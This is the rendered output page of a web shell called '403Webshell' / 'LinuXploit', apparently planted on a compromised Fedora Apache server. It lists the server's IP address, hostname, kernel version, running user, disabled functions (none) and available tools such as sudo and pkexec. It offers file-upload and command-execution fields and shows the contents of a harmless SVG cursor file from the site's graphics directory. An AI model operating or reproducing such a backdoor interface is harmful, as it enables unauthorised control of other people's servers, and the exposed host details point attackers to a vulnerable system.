403Webshell
Server IP : 182.53.201.61  /  Your IP : 216.73.217.175
Web Server : Apache/2.2.15 (Fedora)
System : Linux km10.dyndns.org 2.6.31.5-127.fc12.i686.PAE #1 SMP Sat Nov 7 21:25:57 EST 2009 i686
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/temp/graphics/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/temp/graphics/cursor.svg
<?xml version="1.0" encoding="iso-8859-1"?>
<!-- Generator: Adobe Illustrator 18.1.1, SVG Export Plug-In . SVG Version: 6.00 Build 0)  -->
<svg version="1.1" id="Capa_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"
	 viewBox="0 0 463.721 463.721" style="enable-background:new 0 0 463.721 463.721;" xml:space="preserve">
<g>
	<g>
		<path d="M407.453,224.871c0.85-6.517-1.983-13.317-7.65-16.717L82.186,2.737c-5.1-3.4-11.9-3.683-17.283-0.567
			c-5.383,3.117-8.783,8.783-8.783,15.017v363.233c0,6.517,3.683,12.183,9.35,15.3c5.667,2.833,12.75,2.267,17.85-1.7l90.1-67.433
			l82.45,129.2c3.117,5.1,8.783,7.933,14.45,7.933c2.833,0,5.95-0.85,8.5-2.267l84.15-48.733c3.967-2.267,6.8-6.233,7.933-10.767
			c1.133-4.533,0.283-9.35-2.267-13.033l-76.783-120.983l103.7-29.183C401.786,236.771,406.603,231.387,407.453,224.871z
			 M260.403,241.304c-5.1,1.417-9.35,5.383-11.333,10.2c-1.983,5.1-1.417,10.767,1.417,15.3l79.333,125.233l-54.683,31.733
			l-83.017-130.9c-2.55-3.967-6.517-6.8-11.333-7.65c-1.133-0.283-1.983-0.283-3.117-0.283c-3.683,0-7.083,1.133-10.2,3.4
			l-77.633,58.083V48.354l260.1,168.017L260.403,241.304z"/>
	</g>
</g>
</svg>

Youez - 2016 - github.com/yon3zu
LinuXploit